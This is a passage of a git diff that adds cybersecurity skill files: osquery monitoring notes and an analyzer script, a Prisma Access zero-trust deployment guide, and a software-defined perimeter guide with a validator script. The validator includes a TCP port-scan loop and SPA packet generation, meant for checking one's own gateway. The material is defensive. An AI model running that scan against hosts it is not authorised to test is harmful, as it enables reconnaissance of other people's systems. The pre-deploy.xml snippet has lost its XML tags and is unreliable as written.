heavy queries every 60 seconds causes CPU spikes. Use 300-3600 second intervals for most queries. +- **Not using differential mode**: Without differential logging, osquery logs all results every interval. Differential mode logs only changes. +- **Missing event tables**: Some osquery tables require events framework enabled (process_events, socket_events). Enable with `--disable_events=false`. diff --git a/skills/deploying-osquery-for-endpoint-monitoring/assets/template.md b/skills/deploying-osquery-for-endpoint-monitoring/assets/template.md new file mode 100644 index 00000000..581742eb --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/assets/template.md @@ -0,0 +1,22 @@ +# Osquery Deployment Template + +## Deployment Info +| Field | Value | +|-------|-------| +| Osquery Version | | +| Fleet Server | | +| Target Endpoints | | +| Enrollment Secret | [stored securely] | + +## Scheduled Queries +| Query Name | Interval | Description | Status | +|-----------|----------|-------------|--------| +| process_monitor | 300s | Fileless process detection | Active | +| listening_ports | 600s | Open port monitoring | Active | +| persistence_check | 3600s | Startup item monitoring | Active | + +## Sign-Off +| Role | Name | Date | +|------|------|------| +| Security | | | +| IT Ops | | | diff --git a/skills/deploying-osquery-for-endpoint-monitoring/references/standards.md b/skills/deploying-osquery-for-endpoint-monitoring/references/standards.md new file mode 100644 index 00000000..db11331e --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/references/standards.md @@ -0,0 +1,7 @@ +# Standards & References +- **Osquery Documentation**: https://osquery.readthedocs.io/ +- **Osquery Schema**: https://osquery.io/schema/ +- **FleetDM Documentation**: https://fleetdm.com/docs +- **NIST SP 800-53 SI-4**: System Monitoring - osquery provides endpoint visibility +- **CIS Control 1**: Inventory of Enterprise Assets - osquery software/hardware inventory +- **CIS Control 2**: Software Inventory - osquery package/process queries diff --git a/skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md b/skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md new file mode 100644 index 00000000..3fb1af05 --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md @@ -0,0 +1,17 @@ +# Workflows + +## Workflow 1: Osquery Fleet Deployment +``` +[Install FleetDM server] → [Generate enrollment secret] + → [Package osquery with fleet config] → [Deploy to pilot group] + → [Verify enrollment and scheduled queries] → [Deploy to production] + → [Create dashboards from query results] → [Ongoing monitoring] +``` + +## Workflow 2: Threat Hunt with Osquery +``` +[Define hypothesis] → [Write SQL query targeting hypothesis] + → [Execute via FleetDM live query across fleet] + → [Analyze results] → [Investigate anomalies] + → [Document findings] → [Create scheduled detection if recurrent] +``` diff --git a/skills/deploying-osquery-for-endpoint-monitoring/scripts/process.py b/skills/deploying-osquery-for-endpoint-monitoring/scripts/process.py new file mode 100644 index 00000000..76ef8e4c --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/scripts/process.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python3 +"""Osquery Results Analyzer - Parses osquery JSON results for anomaly detection.""" + +import json +import sys +import os +from collections import Counter, defaultdict +from datetime import datetime + + +def parse_osquery_results(json_path: str) -> list: + """Parse osquery result log (JSON lines format).""" + results = [] + with open(json_path, "r") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + entry = json.loads(line) + results.append(entry) + except json.JSONDecodeError: + continue + return results + + +def analyze_results(results: list) -> dict: + """Analyze osquery results for security anomalies.""" + analysis = { + "total_entries": len(results), + "queries": Counter(), + "hosts": Counter(), + "added_items": [], + "removed_items": [], + } + + for entry in results: + name = entry.get("name", "unknown") + analysis["queries"][name] += 1 + analysis["hosts"][entry.get("hostIdentifier", "unknown")] += 1 + + action = entry.get("action", "") + columns = entry.get("columns", {}) + + if action == "added": + analysis["added_items"].append({ + "query": name, + "host": entry.get("hostIdentifier", ""), + "timestamp": entry.get("unixTime", ""), + "data": columns, + }) + elif action == "removed": + analysis["removed_items"].append({ + "query": name, + "host": entry.get("hostIdentifier", ""), + "data": columns, + }) + + return analysis + + +def generate_report(analysis: dict, output_path: str) -> None: + """Generate osquery analysis report.""" + report = { + "report_generated": datetime.utcnow().isoformat() + "Z", + "total_entries": analysis["total_entries"], + "queries_executed": dict(analysis["queries"]), + "hosts_reporting": dict(analysis["hosts"].most_common(50)), + "new_items_detected": len(analysis["added_items"]), + "items_removed": len(analysis["removed_items"]), + "recent_additions": analysis["added_items"][:50], + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2) + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python process.py ") + sys.exit(1) + results = parse_osquery_results(sys.argv[1]) + analysis = analyze_results(results) + out = os.path.join(os.path.dirname(sys.argv[1]) or ".", "osquery_analysis.json") + generate_report(analysis, out) + print(f"Entries: {analysis['total_entries']} | New items: {len(analysis['added_items'])}") diff --git a/skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md b/skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md new file mode 100644 index 00000000..443e6af7 --- /dev/null +++ b/skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md @@ -0,0 +1,287 @@ +--- +name: deploying-palo-alto-prisma-access-zero-trust +description: > + Deploying Palo Alto Networks Prisma Access for SASE-based zero trust network access + using GlobalProtect agents, ZTNA Connectors, security policy enforcement, and + integration with Strata Cloud Manager for unified security management. +domain: cybersecurity +subdomain: zero-trust-architecture +tags: [prisma-access, palo-alto, ztna, sase, globalprotect, strata-cloud-manager, zero-trust] +version: "1.0" +author: mahipal +license: MIT +--- + +# Deploying Palo Alto Prisma Access Zero Trust + +## When to Use + +- When implementing enterprise-grade SASE with integrated ZTNA, SWG, CASB, and FWaaS +- When replacing both VPN and branch office firewalls with cloud-delivered security +- When needing advanced threat prevention (WildFire, DNS Security) for remote access traffic +- When deploying zero trust for both mobile users and remote network (branch) connections +- When integrating ZTNA with existing Palo Alto NGFW infrastructure via Strata Cloud Manager + +**Do not use** for small organizations (< 200 users) where simpler ZTNA solutions suffice, for environments requiring only web application access without full network security, or when budget constraints preclude enterprise SASE licensing. + +## Prerequisites + +- Prisma Access license (Business Premium or equivalent) +- Strata Cloud Manager (SCM) tenant configured +- GlobalProtect agent for endpoint deployment +- ZTNA Connector VM: 4 vCPU, 8GB RAM, 128GB disk (VMware, AWS, Azure, or GCP) +- Identity provider: Okta, Entra ID, Ping Identity (SAML 2.0) +- Palo Alto Cortex Data Lake for log storage + +## Workflow + +### Step 1: Configure Prisma Access Infrastructure in Strata Cloud Manager + +Set up the cloud infrastructure for mobile user and remote network connections. + +```text +Strata Cloud Manager > Prisma Access > Infrastructure Settings: + +Mobile Users Configuration: + - Service Connection: Auto-selected based on user location + - DNS Servers: 10.1.1.10, 10.1.1.11 (corporate DNS) + - IP Pool for Mobile Users: 10.100.0.0/16 + - Authentication: SAML with Okta (Primary), Entra ID (Secondary) + - GlobalProtect Portal: portal.company.com + - GlobalProtect Gateway: Auto (nearest Prisma Access location) + +Infrastructure Subnet: + - Range: 172.16.0.0/16 + - Allocation: /24 per Prisma Access location +``` + +### Step 2: Deploy ZTNA Connectors for Private Application Access + +Install ZTNA Connectors to provide secure access to internal applications. + +```bash +# Deploy ZTNA Connector on VMware (OVA) +# Download OVA from Strata Cloud Manager > Prisma Access > ZTNA Connectors + +# AWS deployment via CloudFormation +aws cloudformation create-stack \ + --stack-name prisma-ztna-connector \ + --template-url https://prisma-access-connector-templates.s3.amazonaws.com/ztna-connector-aws.yaml \ + --parameters \ + ParameterKey=VpcId,ParameterValue=vpc-PROD \ + ParameterKey=SubnetId,ParameterValue=subnet-PRIVATE \ + ParameterKey=InstanceType,ParameterValue=m5.xlarge \ + ParameterKey=TenantServiceGroup,ParameterValue=TSG_ID \ + ParameterKey=ConnectorName,ParameterValue=dc-east-connector-01 + +# Verify connector registration +# Strata Cloud Manager > Prisma Access > ZTNA Connectors +# Status should show "Connected" with nearest Prisma Access location + +# Deploy second connector for HA +# ZTNA Connector auto-discovers nearest Prisma Access location +# IPSec tunnel uses: ecp384/aes256/sha512 for IKE and ESP +# Bandwidth: up to 2 Gbps per connector +``` + +### Step 3: Define Application Definitions and Access Policies + +Create application definitions pointing to internal applications via ZTNA Connectors. + +```text +Strata Cloud Manager > Prisma Access > Applications: + +Application 1: Internal Wiki + - FQDN: wiki.internal.corp + - Port: TCP 443 + - ZTNA Connector: dc-east-connector-01 + - Protocol: HTTPS + - Health Check: Enabled (HTTP GET /health) + +Application 2: Source Code Repository + - FQDN: git.internal.corp + - Ports: TCP 22, 443 + - ZTNA Connector: dc-east-connector-01, dc-east-connector-02 + - Protocol: HTTPS, SSH + +Application 3: Finance ERP + - FQDN: erp.internal.corp + - Port: TCP 443 + - ZTNA Connector: dc-east-connector-01 + - Protocol: HTTPS + - User Authentication: Required (re-auth every 2h) + +Strata Cloud Manager > Policies > Security Policy: + +Rule 1: Engineering Access to Dev Tools + Source: User Group "Engineering" (from Okta SAML) + Destination: Application "Source Code Repository", "Internal Wiki" + HIP Profile: "Managed Device with CrowdStrike" + Action: Allow + Logging: Enabled + Threat Prevention: Best Practice profile + +Rule 2: Finance Access to ERP + Source: User Group "Finance" + Destination: Application "Finance ERP" + HIP Profile: "Compliant Device - High Security" + Action: Allow + SSL Decryption: Forward Proxy + DLP Profile: "Financial Data Protection" + +Rule 3: Default Deny Private Apps + Source: Any + Destination: Any Private App + Action: Deny + Logging: Enabled +``` + +### Step 4: Configure Host Information Profile (HIP) for Device Posture + +Define device posture requirements using HIP checks. + +```text +Strata Cloud Manager > Objects > GlobalProtect > HIP Objects: + +HIP Object: "CrowdStrike Running" + - Vendor: CrowdStrike + - Product: Falcon Sensor + - Is Running: Yes + - Minimum Version: 7.10 + +HIP Object: "Disk Encryption Enabled" + - Windows: BitLocker = Encrypted + - macOS: FileVault = Encrypted + +HIP Object: "OS Patch Level" + - Windows: >= 10.0.22631 + - macOS: >= 14.0 + +HIP Profile: "Managed Device with CrowdStrike" + - Match: "CrowdStrike Running" AND "Disk Encryption Enabled" + +HIP Profile: "Compliant Device - High Security" + - Match: "CrowdStrike Running" AND "Disk Encryption Enabled" AND "OS Patch Level" +``` + +### Step 5: Deploy GlobalProtect Agent to Endpoints + +Roll out the GlobalProtect agent for secure connectivity. + +```bash +# Deploy GlobalProtect via Intune (Windows) +# MSI download from Strata Cloud Manager > GlobalProtect > Agent Downloads + +# GlobalProtect pre-deployment configuration +# pre-deploy.xml for automated portal connection: +cat > pre-deploy.xml << 'EOF' + + + portal.company.com + pre-logon + + yes + 24 + + + +EOF + +# Verify GlobalProtect connection status +# GlobalProtect system tray > Settings > Connection Details +# Should show: Connected to nearest Prisma Access gateway +# IPSec tunnel established with full threat prevention +``` + +### Step 6: Configure Logging and Monitoring + +Set up Cortex Data Lake integration and monitoring dashboards. + +```text +Strata Cloud Manager > Prisma Access > Monitoring: + +Log Forwarding: + - Cortex Data Lake: Enabled (all log types) + - SIEM Forwarding: Splunk HEC (https://splunk-hec.company.com:8088) + - Log Types: Traffic, Threat, URL, WildFire, GlobalProtect, HIP Match + +Dashboard Monitoring: + - Mobile Users: Active connections, locations, bandwidth + - ZTNA Connectors: Health, latency, tunnel status + - Security Events: Threats blocked, DLP violations, HIP failures + - Application Usage: Top apps, top users, denied access attempts + +Alerting: + - ZTNA Connector down: Email + PagerDuty + - HIP failure rate > 10%: Email to IT + - Threat detected on mobile user: SOC alert +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Prisma Access | Palo Alto's cloud-delivered SASE platform providing FWaaS, SWG, CASB, DLP, and ZTNA from a single architecture | +| ZTNA Connector | VM-based connector establishing IPSec tunnels from internal networks to Prisma Access for private application access | +| GlobalProtect | Endpoint agent providing secure connectivity to Prisma Access with HIP checks and always-on VPN | +| Host Information Profile (HIP) | Device posture checks evaluating endpoint security state (EDR, encryption, patches) before granting access | +| Strata Cloud Manager | Unified management console for Prisma Access, NGFW, and Prisma Cloud security policy | +| Cortex Data Lake | Cloud-based log storage and analytics platform for Palo Alto security telemetry | + +## Tools & Systems + +- **Prisma Access**: Cloud-delivered SASE with integrated ZTNA, SWG, CASB, DLP, FWaaS +- **Strata Cloud Manager (SCM)**: Unified policy management across Palo Alto security products +- **GlobalProtect Agent**: Endpoint connectivity agent with HIP data collection +- **ZTNA Connector**: Outbound-only tunnel connector for internal application access +- **Cortex Data Lake**: Centralized log storage with analytics and threat detection +- **WildFire**: Cloud-based malware analysis and prevention integrated with Prisma Access + +## Common Scenarios + +### Scenario: Enterprise SASE Migration for 5,000-User Organization + +**Context**: A manufacturing company with 5,000 users across 15 offices is consolidating VPN, SWG, and branch firewalls into Prisma Access SASE. Users access 50+ internal applications and need consistent security regardless of location. + +**Approach**: +1. Deploy ZTNA Connectors at 3 data centers (2 per DC for HA) for internal application access +2. Configure GlobalProtect with pre-logon connection for always-on security +3. Define 50+ application definitions in SCM with FQDN and port mappings +4. Create HIP profiles: Standard (encryption + AV), Enhanced (+ CrowdStrike + patches) +5. Build security policies mapping user groups to applications with HIP requirements +6. Enable threat prevention profiles (Anti-Spyware, Anti-Virus, WildFire, URL Filtering) +7. Deploy GlobalProtect agent via SCCM to all 5,000 endpoints in phases +8. Configure Cortex Data Lake forwarding to Splunk for SOC monitoring +9. Decommission VPN concentrators and branch firewall appliances + +**Pitfalls**: ZTNA Connector requires minimum 4 vCPU and 8GB RAM; under-provisioning causes latency. GlobalProtect pre-logon requires machine certificates for authentication before user login. HIP check intervals should be 60 seconds minimum to avoid performance impact. Plan for a 4-6 week pilot before full deployment. + +## Output Format + +``` +Prisma Access ZTNA Deployment Report +================================================== +Organization: ManufactureCorp +Deployment Date: 2026-02-23 + +INFRASTRUCTURE: + ZTNA Connectors: 6 (2x DC-East, 2x DC-West, 2x DC-EU) + Prisma Access Locations: 8 (auto-selected) + GlobalProtect Portal: portal.manufacturecorp.com + +APPLICATION ACCESS: + Defined Applications: 52 + Active ZTNA Connections: 3,247 + Average Latency: 12ms + +ENDPOINT DEPLOYMENT: + GlobalProtect Deployed: 4,812 / 5,000 (96.2%) + HIP Compliant: 4,567 / 4,812 (94.9%) + HIP Failures: 245 (top: missing patches 120, encryption 85) + +SECURITY (last 30 days): + Threats Blocked: 1,234 + DLP Violations: 89 + URL Blocked: 45,678 + WildFire Submissions: 2,345 +``` diff --git a/skills/deploying-software-defined-perimeter/SKILL.md b/skills/deploying-software-defined-perimeter/SKILL.md new file mode 100644 index 00000000..0bd7fe27 --- /dev/null +++ b/skills/deploying-software-defined-perimeter/SKILL.md @@ -0,0 +1,156 @@ +# Deploying Software-Defined Perimeter + +--- +domain: cybersecurity +subdomain: zero-trust-architecture +author: mahipal +tags: [zero-trust, sdp, software-defined-perimeter, network-access, ztna] +difficulty: advanced +estimated_time: 4-6 hours +prerequisites: + - Understanding of zero trust principles (NIST SP 800-207) + - Knowledge of CSA Software-Defined Perimeter specification + - Familiarity with PKI and mutual TLS authentication + - Experience with network security architecture +--- + +## Overview + +A Software-Defined Perimeter (SDP) implements zero trust by creating a dynamically provisioned, identity-centric perimeter around individual resources. Defined by the Cloud Security Alliance (CSA), SDP makes application infrastructure invisible to unauthorized users through a "dark cloud" approach where services are hidden until authenticated and authorized. Unlike traditional VPN, SDP establishes one-to-one encrypted connections between verified users and specific applications. + +This skill covers deploying SDP using the CSA v2.0 specification, implementing Single Packet Authorization (SPA), configuring the SDP controller and gateway, and validating the deployment against NIST SP 800-207 requirements. + +## Architecture + +### SDP Components (CSA Specification) + +``` +┌─────────────────────┐ +│ SDP Controller │ +│ - Authentication │ +│ - Authorization │ +│ - Policy management │ +│ - Key management │ +└──────────┬──────────┘ + │ + ┌──────┴──────┐ + │ │ + v v +┌────────┐ ┌────────────┐ +│ IH │ │ AH │ +│(Client)│ │(Gateway) │ +│ │ │ │ +│ SPA │──│ Protected │ +│ mTLS │ │ Resources │ +└────────┘ └────────────┘ + +IH = Initiating Host (User Device) +AH = Accepting Host (Application Gateway) +SPA = Single Packet Authorization +``` + +### SDP Deployment Models +1. **Client-to-Gateway**: User device connects through SDP gateway to backend applications +2. **Client-to-Server**: Direct connection between user and application server +3. **Server-to-Server**: Workload-to-workload communication through SDP +4. **Gateway-to-Gateway**: Site-to-site connectivity replacing traditional VPN tunnels + +## Key Concepts + +### Single Packet Authorization (SPA) +SPA is a network security mechanism where the SDP gateway drops all TCP/UDP packets by default. A cryptographically signed single packet must be sent before any connection is established. The gateway validates the SPA packet, and only then opens a temporary port for the authenticated session. This makes the gateway invisible to port scanners. + +### Mutual TLS (mTLS) +After SPA validation, both the client and server authenticate each other using X.509 certificates. This bidirectional authentication prevents man-in-the-middle attacks and ensures both endpoints are verified. + +### Dynamic Provisioning +SDP connections are provisioned on-demand based on real-time policy evaluation. No persistent network tunnels exist; each session is individually authorized and encrypted. + +## Procedure + +### Phase 1: SDP Controller Deployment + +1. **Deploy SDP Controller** + - Install SDP controller on hardened, redundant infrastructure + - Configure PKI integration for certificate issuance + - Set up authentication backend (LDAP, SAML, OIDC) + - Configure policy database with application definitions + - Enable audit logging for all controller decisions + +2. **Configure Authentication** + - Integrate with enterprise IdP via SAML 2.0 or OIDC + - Configure device certificate enrollment (SCEP/EST) + - Enable multi-factor authentication requirements + - Set up certificate revocation checking (OCSP/CRL) + +3. **Define Access Policies** + - Map users/groups to authorized applications + - Define device posture requirements per application + - Configure contextual conditions (location, time, risk level) + - Set session duration and re-authentication intervals + +### Phase 2: SDP Gateway Deployment + +4. **Deploy Accepting Hosts (Gateways)** + - Install SDP gateway instances in front of protected applications + - Configure default-drop firewall rules (deny all inbound) + - Enable SPA listener on designated ports + - Configure mTLS with controller-issued certificates + - Set up health monitoring and failover + +5. **Configure Application Definitions** + - Register each protected application with the controller + - Define backend server IPs, ports, and protocols + - Configure load balancing for multi-instance applications + - Set up application health checks + +### Phase 3: Client Deployment + +6. **Deploy Initiating Hosts (Clients)** + - Install SDP client software on user endpoints + - Enroll device certificates through automated provisioning + - Configure SPA key material distribution + - Test authentication flow: SPA → mTLS → application access + +7. **Validate End-to-End Flow** + - Verify SPA packets are accepted by gateway + - Confirm mTLS handshake succeeds with valid certificates + - Test application access through the SDP tunnel + - Verify unauthorized access is blocked (no SPA = invisible gateway) + +### Phase 4: Operational Validation + +8. **Security Testing** + - Port scan the SDP gateway to confirm invisibility (all ports show filtered/closed) + - Attempt connection without valid SPA (must fail silently) + - Test with revoked client certificate (must be denied) + - Attempt lateral movement from one authorized app to another unauthorized app + - Validate audit trail completeness + +9. **Monitoring and Maintenance** + - Configure SIEM integration for SDP controller and gateway logs + - Set up alerting for failed SPA attempts and certificate errors + - Establish certificate rotation schedule + - Document incident response procedures for SDP events + +## Validation Checklist + +- [ ] SDP Controller deployed with HA and audit logging +- [ ] IdP integration tested with SAML/OIDC and MFA +- [ ] SDP Gateways deployed with default-drop firewall +- [ ] SPA mechanism validated (gateway invisible to port scans) +- [ ] mTLS established between clients and gateways +- [ ] Access policies enforce least-privilege per user/app +- [ ] Device certificate enrollment automated +- [ ] Unauthorized access attempts blocked silently +- [ ] Lateral movement between apps prevented +- [ ] Logs streaming to SIEM with alerting configured +- [ ] Certificate rotation and revocation procedures tested + +## References + +- CSA Software-Defined Perimeter Architecture Guide v3 +- CSA SDP Specification v2.0 +- NIST SP 800-207: Zero Trust Architecture +- CISA Zero Trust Maturity Model v2.0 +- fwknop: Single Packet Authorization implementation diff --git a/skills/deploying-software-defined-perimeter/assets/template.md b/skills/deploying-software-defined-perimeter/assets/template.md new file mode 100644 index 00000000..927de9ae --- /dev/null +++ b/skills/deploying-software-defined-perimeter/assets/template.md @@ -0,0 +1,58 @@ +# SDP Deployment Plan Template + +## Project Information + +| Field | Value | +|---|---| +| Project Name | | +| SDP Solution | [Appgate SDP / Zscaler / Open-source / Other] | +| Project Lead | | +| Start Date | | + +## Application Inventory + +| Application | FQDN/IP | Port | Protocol | Criticality | Gateway Assignment | +|---|---|---|---|---|---| +| | | | | | | + +## SDP Controller Configuration + +| Parameter | Value | +|---|---| +| HA Mode | [Active-Active / Active-Passive] | +| IdP Integration | [SAML / OIDC] | +| IdP Provider | [Azure AD / Okta / Ping] | +| PKI Backend | [Internal CA / HashiCorp Vault / EJBCA] | +| Client Cert Lifetime | [24h / 48h / 72h] | +| Audit Log Destination | [SIEM / Syslog / Cloud storage] | + +## Gateway Deployment + +| Gateway Name | Location | Protected Apps | SPA Enabled | mTLS Enabled | Default-Drop | +|---|---|---|---|---|---| +| | | | Yes | Yes | Yes | + +## Access Policy Matrix + +| User Group | Application | Conditions | Action | +|---|---|---|---| +| | | Device posture + MFA | Allow | +| Default | All | None | Deny | + +## Security Validation + +- [ ] Port scan confirms gateway invisibility +- [ ] SPA validation working correctly +- [ ] mTLS handshake succeeds with valid certs +- [ ] Invalid SPA packets dropped silently +- [ ] Revoked certificates denied access +- [ ] Lateral movement between apps blocked +- [ ] Logs captured in SIEM + +## Sign-Off + +| Stakeholder | Role | Approval | Date | +|---|---|---|---| +| | Security Architecture | | | +| | Network Engineering | | | +| | Application Owners | | | diff --git a/skills/deploying-software-defined-perimeter/references/standards.md b/skills/deploying-software-defined-perimeter/references/standards.md new file mode 100644 index 00000000..394ec257 --- /dev/null +++ b/skills/deploying-software-defined-perimeter/references/standards.md @@ -0,0 +1,73 @@ +# Standards and Frameworks Reference + +## CSA Software-Defined Perimeter Specification v2.0 + +### Core Architecture +- **SDP Controller**: Central policy and authentication authority +- **Initiating Host (IH)**: Client device requesting access +- **Accepting Host (AH)**: Gateway protecting backend resources +- **Single Packet Authorization (SPA)**: Pre-authentication mechanism making services invisible + +### SDP Workflow +1. IH authenticates to SDP Controller +2. Controller validates identity, device posture, and policy +3. Controller instructs AH to accept connection from specific IH +4. IH sends SPA packet to AH +5. AH validates SPA and opens temporary port +6. mTLS tunnel established between IH and AH +7. Application traffic flows through encrypted tunnel + +### Deployment Models +| Model | Use Case | Architecture | +|---|---|---| +| Client-to-Gateway | Remote user access | IH → AH Gateway → Backend servers | +| Client-to-Server | Direct application access | IH → AH (application server) | +| Server-to-Server | Workload communication | IH (server) → AH (server) | +| Gateway-to-Gateway | Site-to-site connectivity | AH₁ → Controller → AH₂ | + +## NIST SP 800-207: SDP as Zero Trust Deployment + +### SDP Mapping to NIST ZTA Components +| NIST Component | SDP Equivalent | +|---|---| +| Policy Engine (PE) | SDP Controller policy evaluation | +| Policy Administrator (PA) | SDP Controller session management | +| Policy Enforcement Point (PEP) | SDP Gateway (Accepting Host) | + +### NIST ZTA Tenets Addressed by SDP +- All communication secured regardless of network location (mTLS tunnels) +- Per-session access grants (dynamic SDP connections) +- Dynamic policy evaluation (controller real-time decisions) +- Asset integrity monitoring (device posture checks) + +## CISA Zero Trust Maturity Model v2.0 + +### Network Pillar - SDP Alignment +| Maturity | SDP Capability | +|---|---| +| Traditional | No SDP, perimeter-based VPN | +| Initial | SDP for remote access, basic SPA | +| Advanced | Full SDP with device posture, context-aware | +| Optimal | Dynamic SDP with continuous verification, ML-driven | + +## Single Packet Authorization (SPA) Technical Details + +### SPA Packet Structure +- Encrypted with shared key or asymmetric cryptography +- Contains: source IP, timestamp, HMAC, requested service +- Single UDP packet (no TCP handshake visible) +- Anti-replay protection via timestamp and sequence number + +### fwknop Implementation +- Open-source SPA implementation +- Supports AES-256 and GnuPG encryption +- Integrates with iptables/nftables for firewall rule insertion +- Temporary rule created for authenticated session only + +## mTLS Configuration Standards + +### Certificate Requirements +- Minimum RSA 2048-bit or ECDSA P-256 keys +- Short-lived certificates (24-72 hours) preferred +- OCSP stapling for real-time revocation checking +- Certificate pinning for additional security diff --git a/skills/deploying-software-defined-perimeter/references/workflows.md b/skills/deploying-software-defined-perimeter/references/workflows.md new file mode 100644 index 00000000..cbe3894a --- /dev/null +++ b/skills/deploying-software-defined-perimeter/references/workflows.md @@ -0,0 +1,119 @@ +# SDP Deployment Workflows + +## Workflow 1: SDP Connection Establishment + +``` +┌────────────┐ ┌──────────────┐ ┌────────────┐ +│ IH (Client) │ │ SDP Controller│ │ AH (Gateway)│ +└──────┬─────┘ └──────┬───────┘ └──────┬─────┘ + │ │ │ + │ 1. Authenticate │ │ + │──────────────────>│ │ + │ │ │ + │ 2. Validate ID, │ │ + │ device, policy │ │ + │ │ │ + │ 3. Auth response │ │ + │<──────────────────│ │ + │ (SPA key, AH IP) │ │ + │ │ 4. Notify AH to │ + │ │ expect IH │ + │ │────────────────────>│ + │ │ │ + │ 5. Send SPA packet│ │ + │─────────────────────────────────────────>│ + │ │ │ + │ │ 6. Validate SPA │ + │ │ Open port │ + │ │ │ + │ 7. mTLS handshake │ │ + │<════════════════════════════════════════>│ + │ │ │ + │ 8. Application │ │ + │ traffic flows │ │ + │<═══════════════════════════════════════=>│ +``` + +## Workflow 2: SDP Deployment Lifecycle + +``` +Phase 1: Planning (Weeks 1-2) +├── Inventory protected applications +├── Map user-to-application access requirements +├── Design PKI infrastructure for mTLS +├── Select SDP solution (open-source or commercial) +└── Plan network architecture changes + +Phase 2: Controller Setup (Weeks 3-4) +├── Deploy SDP controller with HA +├── Integrate with IdP (SAML/OIDC) +├── Configure PKI and certificate templates +├── Define application catalog and policies +└── Test controller authentication flow + +Phase 3: Gateway Deployment (Weeks 5-6) +├── Deploy gateways in each app environment +├── Configure default-drop firewall rules +├── Enable SPA listeners +├── Register applications with controller +└── Verify gateway invisibility (port scan test) + +Phase 4: Client Rollout (Weeks 7-10) +├── Package SDP client with certificates +├── Deploy to pilot user group +├── Validate end-to-end connectivity +├── Expand to all user groups +└── Decommission legacy VPN access + +Phase 5: Operations (Ongoing) +├── Monitor SDP controller and gateway health +├── Rotate certificates on schedule +├── Review and update access policies +├── Conduct quarterly penetration tests +└── Update SDP components for security patches +``` + +## Workflow 3: SPA Validation + +``` +Incoming Packet to Gateway + │ + v +┌─────────────────────┐ +│ Is it a SPA packet? │ +│ (Check magic bytes) │ +└───┬──────────┬──────┘ + │ │ + YES NO + │ │ + v v +┌──────────┐ ┌──────────┐ +│ Decrypt │ │ DROP │ +│ SPA data │ │ silently │ +└────┬─────┘ └──────────┘ + v +┌─────────────────────┐ +│ Validate timestamp │ +│ (within 60s window) │ +└───┬──────────┬──────┘ + VALID EXPIRED + │ │ + v v +┌──────────┐ ┌──────────┐ +│ Check │ │ DROP + │ +│ HMAC │ │ Log │ +└────┬─────┘ └──────────┘ + v +┌─────────────────────┐ +│ Verify replay │ +│ (check sequence DB) │ +└───┬──────────┬──────┘ + NEW REPLAY + │ │ + v v +┌──────────┐ ┌──────────┐ +│ Open port │ │ DROP + │ +│ for src IP│ │ Alert │ +│ (30s TTL) │ └──────────┘ +└──────────┘ +``` diff --git a/skills/deploying-software-defined-perimeter/scripts/process.py b/skills/deploying-software-defined-perimeter/scripts/process.py new file mode 100644 index 00000000..2e75f387 --- /dev/null +++ b/skills/deploying-software-defined-perimeter/scripts/process.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python3 +""" +Software-Defined Perimeter Deployment Validator + +Validates SDP deployment readiness, tests SPA mechanisms, +verifies gateway invisibility, and generates deployment reports. +""" + +import json +import socket +import hashlib +import hmac +import struct +import time +import ssl +import subprocess +import sys +from datetime import datetime +from pathlib import Path +from typing import Optional + + +def check_gateway_invisibility(host: str, port_range: tuple = (1, 1024), timeout: float = 0.5) -> dict: + """Scan gateway ports to verify SDP invisibility (all ports should appear closed/filtered).""" + result = { + "host": host, + "scanned_range": f"{port_range[0]}-{port_range[1]}", + "open_ports": [], + "closed_ports": 0, + "filtered_ports": 0, + "invisible": True, + "timestamp": datetime.now().isoformat(), + } + + for port in range(port_range[0], port_range[1] + 1): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + conn_result = sock.connect_ex((host, port)) + if conn_result == 0: + result["open_ports"].append(port) + result["invisible"] = False + else: + result["filtered_ports"] += 1 + sock.close() + except socket.timeout: + result["filtered_ports"] += 1 + except OSError: + result["closed_ports"] += 1 + + return result + + +def generate_spa_packet( + source_ip: str, + destination_service: str, + shared_key: str, + timestamp: Optional[float] = None +) -> bytes: + """Generate a Single Packet Authorization payload (demonstration).""" + if timestamp is None: + timestamp = time.time() + + payload = json.dumps({ + "version": 2, + "source_ip": source_ip, + "service": destination_service, + "timestamp": timestamp, + "nonce": hashlib.sha256(f"{time.time()}{source_ip}".encode()).hexdigest()[:16], + }).encode() + + mac = hmac.new(shared_key.encode(), payload, hashlib.sha256).digest() + packet = struct.pack("!I", len(payload)) + payload + mac + + return packet + + +def validate_spa_packet(packet: bytes, shared_key: str, max_age_seconds: int = 60) -> dict: + """Validate a received SPA packet.""" + result = {"valid": False, "errors": [], "payload": None} + + try: + payload_len = struct.unpack("!I", packet[:4])[0] + payload = packet[4:4 + payload_len] + received_mac = packet[4 + payload_len:] + + expected_mac = hmac.new(shared_key.encode(), payload, hashlib.sha256).digest() + if not hmac.compare_digest(received_mac, expected_mac): + result["errors"].append("HMAC verification failed") + return result + + data = json.loads(payload.decode()) + result["payload"] = data + + age = time.time() - data.get("timestamp", 0) + if age > max_age_seconds: + result["errors"].append(f"Packet expired ({age:.0f}s old, max {max_age_seconds}s)") + return result + + if age < -5: + result["errors"].append("Packet timestamp is in the future") + return result + + result["valid"] = True + + except (struct.error, json.JSONDecodeError, KeyError) as e: + result["errors"].append(f"Packet parse error: {str(e)}") + + return result + + +def validate_mtls_certificate(host: str, port: int, ca_cert_path: Optional[str] = None) -> dict: + """Validate mTLS certificate configuration on SDP gateway.""" + result = { + "host": host, + "port": port, + "tls_configured": False, + "certificate": None, + "errors": [], + } + + try: + context = ssl.create_default_context() + if ca_cert_path: + context.load_verify_locations(ca_cert_path) + + with socket.create_connection((host, port), timeout=10) as sock: + with context.wrap_socket(sock, server_hostname=host) as ssock: + cert = ssock.getpeercert() + result["tls_configured"] = True + result["certificate"] = { + "subject": dict(x[0] for x in cert.get("subject", [])), + "issuer": dict(x[0] for 